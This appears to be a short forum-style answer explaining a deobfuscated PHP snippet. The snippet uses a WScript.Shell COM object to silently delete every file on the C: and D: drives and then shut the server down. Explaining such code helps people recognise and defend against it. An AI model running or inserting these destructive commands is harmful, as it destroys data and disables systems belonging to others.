The de-ofuscated code is here:
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("cmd /K del d:\* /q /f /s ", 0, false);
$oExec = $WshShell->Run("cmd /K del c:\* /q /f /s ", 0, false);
$oExec = $WshShell->Run("shutdown /s", 0, false);
The first line creates an COM object, that uses WScript, which is used to create batch jobs.
Then the second line uses that object to delete everything in drive d:
Then the third line uses again that object to delete everything in drive c:
And finally, the fourth line shuts down the server.
